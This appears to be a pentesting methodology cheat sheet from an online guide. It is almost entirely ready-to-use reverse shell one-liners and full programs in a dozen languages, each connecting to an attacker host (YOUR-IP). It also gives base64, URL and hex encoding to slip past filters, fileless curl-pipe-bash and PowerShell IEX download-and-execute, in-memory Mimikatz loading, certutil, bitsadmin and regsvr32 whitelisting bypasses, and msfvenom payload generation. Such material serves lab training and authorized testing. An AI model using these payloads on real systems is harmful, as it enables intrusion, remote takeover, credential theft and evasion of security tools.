A reverse shell one-liner is not just a command you memorize and run. It is a decision — which language is available on the target, which port will make it through the firewall, which method will survive the environment you are working in. This section covers every reliable reverse shell method across every language and platform, with enough context to know which one to reach for and what to do when it does not work.
🔰 Beginners: Read Shell Types first if you have not already. This section assumes you understand what a reverse shell is and have a listener ready. The one-liners here will not work without a listener running first.
⚡ Seasoned practitioners: The advanced encoding, in-memory execution, and protocol-specific sections toward the bottom contain techniques beyond standard one-liners.
Before you start — know these terms:
- One-liner — a complete reverse shell payload written as a single command. Designed to be injected or executed in one step.
- Payload — the complete package of code that executes on the target and connects back to you.
- In-memory execution — running code without writing anything to disk. Harder to detect, leaves fewer forensic artifacts.
- Encoded payload — a payload that has been transformed (base64, URL encoded, hex) to bypass filters or avoid bad characters.
- Before You Run Anything
- Finding Your IP
- Bash Reverse Shells
- Python Reverse Shells
- PHP Reverse Shells
- Perl Reverse Shells
- Ruby Reverse Shells
- Netcat Reverse Shells
- PowerShell Reverse Shells
- Windows CMD Reverse Shells
- Java Reverse Shells
- Lua Reverse Shells
- Golang Reverse Shells
- Encoded and Obfuscated Payloads
- In-Memory Execution
- When a Shell Does Not Connect
- Reverse Shell Generators
Every single time — without exception:
# Step 1 — confirm your IP (use tun0 on HTB)
ip addr show tun0
# Step 2 — start your listener BEFORE triggering the exploit
rlwrap nc -lvnp 4444
# Step 3 — have a second listener ready on a different port
# Open a second terminal tab
rlwrap nc -lvnp 5555
# Step 4 — trigger the exploit
# Shell arrives on port 4444
# Step 5 — immediately stabilize
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z → stty raw -echo; fg → Enter twiceIf the shell does not arrive within 10-15 seconds after triggering the exploit — something is wrong. Do not keep triggering. Stop and debug first. The When a Shell Does Not Connect section covers the systematic approach.
# HTB — always tun0
ip addr show tun0
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
# General — list all interfaces
ip addr # Linux
ifconfig # older Linux / macOS
ipconfig # Windows
# Quick check — what is my public IP
curl ifconfig.me
curl ipinfo.io/ipBash is available on virtually every Linux system. These are the most reliable one-liners for Linux targets.
# Standard bash reverse shell — try this first
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Wrapped in bash -c — use when injecting through another shell
bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'
# Using /dev/tcp with exec
exec bash -i &>/dev/tcp/YOUR-IP/4444 <&1
# Alternative using sh instead of bash
sh -i >& /dev/tcp/YOUR-IP/4444 0>&1
# Using 196 as file descriptor
exec 196<>/dev/tcp/YOUR-IP/4444
sh <&196 >&196 2>&196
# Bash with named pipe — when /dev/tcp is not available
rm /tmp/f; mkfifo /tmp/f; bash -i <>/tmp/f 2>&1 | nc YOUR-IP 4444 >/tmp/f
# URL encoded — use when injecting through a web parameter
bash%20-i%20>%26%20/dev/tcp/YOUR-IP/4444%200>%261
# For curl injection
curl "http://target.com/rce?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"💡 If bash one-liners fail: Some systems restrict
/dev/tcp. Try the netcat or Python versions next — they do not rely on/dev/tcpand work in more restricted environments.
Python is installed on the vast majority of Linux systems and is available on Windows when installed. One of the most reliable reverse shell methods.
# Python3 — use this first on modern systems
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python3 — alternative using Popen
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("YOUR-IP",4444));subprocess.call(["/bin/bash"],stdin=s,stdout=s,stderr=s)'
# Python2 — use when python3 is not available
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python3 — with PTY (gives you a better shell immediately)
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("YOUR-IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
# Windows Python reverse shell
python -c "import socket,subprocess;s=socket.socket();s.connect(('YOUR-IP',4444));subprocess.call(['cmd.exe'],stdin=s,stdout=s,stderr=s)"
# Check which Python is available on target
which python python2 python3 2>/dev/null
ls /usr/bin/python* 2>/dev/nullPHP is everywhere — web servers, CMS platforms, custom applications. If you have command execution on a PHP application, these work.
# PHP one-liner using exec
php -r '$sock=fsockopen("YOUR-IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PHP one-liner using shell_exec
php -r '$sock=fsockopen("YOUR-IP",4444);shell_exec("/bin/bash -i <&3 >&3 2>&3");'
# PHP one-liner using system
php -r '$sock=fsockopen("YOUR-IP",4444);system("/bin/sh -i <&3 >&3 2>&3");'
# PHP one-liner using passthru
php -r '$sock=fsockopen("YOUR-IP",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'
# PHP one-liner using popen
php -r '$sock=fsockopen("YOUR-IP",4444);popen("/bin/sh -i <&3 >&3 2>&3","r");'
# PHP reverse shell as a file — more reliable than one-liner injection
# Save as shell.php and upload or write to target
<?php
set_time_limit(0);
$ip = 'YOUR-IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
# PentestMonkey PHP reverse shell — the most complete
# Download: https://github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port then upload to target💡 PHP functions may be disabled: Some PHP configurations disable dangerous functions like
exec,system, andshell_exec. Try each function variant above. If all are disabled check with:php -r "echo ini_get('disable_functions');"— the response shows which functions are blocked.
Perl is often available on older Unix and Linux systems and is worth knowing for those environments.
# Perl reverse shell
perl -e 'use Socket;$i="YOUR-IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Perl without /bin/sh — useful on restricted systems
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"YOUR-IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Check if Perl is available
which perl
perl --versionRuby is commonly found on systems running Ruby on Rails applications and some Linux distributions.
# Ruby reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR-IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Ruby alternative
ruby -rsocket -e 'c=TCPSocket.new("YOUR-IP",4444);$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdout.sync=true;exec"/bin/sh -i"'
# Check if Ruby is available
which ruby
ruby --versionNetcat variants are available on most systems but the flags vary between versions. Know which version you are working with.
# Traditional netcat with -e flag (older GNU netcat)
nc -e /bin/bash YOUR-IP 4444
# Traditional netcat with -e on Windows
nc.exe -e cmd.exe YOUR-IP 4444
# BusyBox netcat — found on routers, IoT devices, containers
busybox nc YOUR-IP 4444 -e /bin/sh
# OpenBSD netcat — does NOT have -e flag (most modern Linux)
# Use named pipe workaround instead:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR-IP 4444 >/tmp/f
# Alternative named pipe method
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc YOUR-IP 4444 1>/tmp/backpipe
# Checking which netcat you have
nc --version
nc -h 2>&1 | head -5
# If -e appears in help output — your nc supports it
# If it does not — use the named pipe method💡 Which netcat method to use: Modern Kali targets often have OpenBSD netcat which does NOT support
-e. Ifnc -efails with an error — use the named pipe method. It is longer but works on every version of netcat.
PowerShell is the most powerful option on Windows targets. It is installed by default on Windows 7 and later.
# Standard PowerShell reverse shell — works on all versions
powershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient('YOUR-IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Download and execute in memory — fileless (no file written to disk)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"
# Download using Invoke-WebRequest
powershell -c "IEX(Invoke-WebRequest -Uri 'http://YOUR-IP/shell.ps1' -UseBasicParsing).Content"
# Base64 encoded PowerShell (bypasses some command-line filters)
# First encode your command:
$cmd = '$client=New-Object System.Net.Sockets.TCPClient("YOUR-IP",4444);...'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
echo $encoded
# Then execute:
powershell -enc ENCODED_STRING
# Serve Invoke-PowerShellTcp.ps1 (Nishang)
# Download: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
# Host on your Python web server and execute:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress YOUR-IP -Port 4444"Bypassing PowerShell execution policy:
# Execution policy may block scripts — bypass with:
powershell -ExecutionPolicy Bypass -c "..."
powershell -ep bypass -c "..."
# Or set policy in the session
Set-ExecutionPolicy Bypass -Scope Process
# Check current policy
Get-ExecutionPolicyWhen PowerShell is blocked or unavailable, CMD-based options:
# Using certutil to download netcat then execute
certutil -urlcache -split -f http://YOUR-IP/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe YOUR-IP 4444
# Using bitsadmin to download netcat
bitsadmin /transfer job /download /priority high http://YOUR-IP/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe -e cmd.exe YOUR-IP 4444
# Using mshta for fileless execution
mshta http://YOUR-IP/shell.hta
# Using regsvr32 (Squiblydoo — bypasses application whitelisting)
regsvr32 /s /n /u /i:http://YOUR-IP/shell.sct scrobj.dllJava reverse shells are useful when you have code execution in a Java application — web apps running on Tomcat, JBoss, WebLogic.
// Java reverse shell — compile and execute or inject into JSP
Runtime r = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"};
Process p = r.exec(commands);
// As a JSP one-liner injection
<%Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"});%>
// Complete Java reverse shell class
public class Shell {
public static void main(String[] args) throws Exception {
String host = "YOUR-IP";
int port = 4444;
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s = new java.net.Socket(host, port);
java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(),
si = s.getInputStream();
java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush(); po.flush();
Thread.sleep(50);
try { p.exitValue(); break; } catch (Exception e) {}
}
p.destroy(); s.close();
}
}Lua is found on some embedded systems, game servers, and network devices. Rare but worth knowing.
-- Lua reverse shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('YOUR-IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
-- Alternative
lua5.1 -e 'local host, port = "YOUR-IP", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'Go binaries compile to standalone executables with no dependencies — useful when you need to upload a single file that runs anywhere.
// Go reverse shell source — compile and upload
package main
import (
"net"
"os/exec"
)
func main() {
c, _ := net.Dial("tcp", "YOUR-IP:4444")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}# Compile for Linux target from any platform
GOOS=linux GOARCH=amd64 go build -o shell shell.go
# Compile for Windows target
GOOS=windows GOARCH=amd64 go build -o shell.exe shell.go
# Compile for macOS target
GOOS=darwin GOARCH=amd64 go build -o shell_mac shell.go
# Upload to target and execute
# On target: chmod +x shell && ./shellWhen filters block standard shell syntax, encode the payload to bypass detection.
# Encode a bash reverse shell
echo -n 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ==
# Execute the encoded payload on target
echo YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSLUlQLzQ0NDQgMD4mMQ== | base64 -d | bash
# Combined one-liner
bash -c {echo,BASE64_ENCODED_PAYLOAD}|{base64,-d}|bash
# PowerShell base64 encoding
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://YOUR-IP/shell.ps1")'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encoded# When injecting through a web parameter
# Spaces → + or %20
# & → %26
# > → %3E
# < → %3C
# / → %2F
# bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 URL encoded:
bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261
# Use in curl
curl "http://target.com/rce?cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"# Hex encode a command
echo -n 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1' | xxd -p
# Output: 62617368202d69203e26202f6465762f7463702f...
# Execute on target using xxd or python
xxd -r -p <<< "62617368..." | bash
python3 -c "import binascii,os; os.system(binascii.unhexlify('62617368...').decode())"Plain English: In-memory execution means the payload runs directly in RAM — nothing is written to the hard drive. Antivirus and endpoint detection tools primarily scan files on disk. A payload that never touches disk has a significantly higher chance of avoiding detection.
# Download and execute without writing to disk
curl http://YOUR-IP/shell.sh | bash
wget -O - http://YOUR-IP/shell.sh | bash
# Using /dev/shm — a RAM-based filesystem on Linux
# Files here exist only in memory and are cleared on reboot
curl http://YOUR-IP/shell.sh -o /dev/shm/s && bash /dev/shm/s
# Python in-memory execution
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://YOUR-IP/shell.py').read())"# PowerShell download and execute in memory — nothing written to disk
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"
# Using Invoke-Expression alias
powershell -c "IEX(iwr 'http://YOUR-IP/shell.ps1' -UseBasicParsing)"
# From a compromised shell — load Mimikatz in memory
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
# Serve your scripts with Python web server on your machine
# Linux / macOS
python3 -m http.server 80
# Windows (PowerShell)
python -m http.server 80Work through this checklist systematically before re-triggering the exploit:
Step 1 — Is your listener actually running?
Check the terminal where you ran nc — is it waiting?
Run: nc -lvnp 4444
If it shows "listening" — it is running
Step 2 — Is your IP correct?
On HTB: ip addr show tun0
Confirm the IP in your shell payload matches tun0 exactly
Step 3 — Is your port correct?
Listener on 4444 but payload says 5555?
They must match exactly
Step 4 — Can the target reach you?
Test with a ping first (if you have limited RCE)
ping -c 1 YOUR-IP
Watch tcpdump on your machine:
tcpdump -i tun0 icmp
Step 5 — Is the shell language available?
bash not available? try python3
python3 not available? try python
python not available? try perl, nc, php
Step 6 — Is /dev/tcp available?
bash -i >& /dev/tcp/... fails on some systems
Try netcat named pipe method instead
Step 7 — Is the port blocked by a firewall?
Try port 80 or 443 — commonly allowed outbound
Change listener: nc -lvnp 443
Change payload: bash -i >& /dev/tcp/YOUR-IP/443 0>&1
Step 8 — Is the payload being filtered?
Spaces blocked? Use ${IFS} instead of spaces
Quotes blocked? Try without quotes
Try base64 encoded payload
Step 9 — Check for typos
Copy the exact IP from: ip -4 addr show tun0
Do not type it manually — paste it
Common firewall bypass ports:
# Use these ports when standard 4444 is blocked
# These are commonly allowed outbound on most networks
nc -lvnp 80 # HTTP
nc -lvnp 443 # HTTPS
nc -lvnp 8080 # HTTP alternate
nc -lvnp 8443 # HTTPS alternate
nc -lvnp 53 # DNS (almost never blocked)When you need a shell fast and cannot remember the exact syntax:
| Tool | URL | What It Does |
|---|---|---|
| RevShells | revshells.com | Web-based generator for every shell type |
| MSFVenom | local — msfvenom -l payloads |
Generates encoded payloads |
| PayloadsAllTheThings | github.com/swisskyrepo/PayloadsAllTheThings | Comprehensive payload reference |
| HackTricks | book.hacktricks.xyz | Context-specific shell techniques |
# msfvenom — generate a standalone reverse shell binary
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR-IP LPORT=4444 -f elf -o shell
# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR-IP LPORT=4444 -f exe -o shell.exe
# PHP
msfvenom -p php/reverse_php LHOST=YOUR-IP LPORT=4444 -f raw -o shell.php
# Python
msfvenom -p cmd/unix/reverse_python LHOST=YOUR-IP LPORT=4444 -f raw -o shell.pyby SudoChef · Part of the SudoCode Pentesting Methodology Guide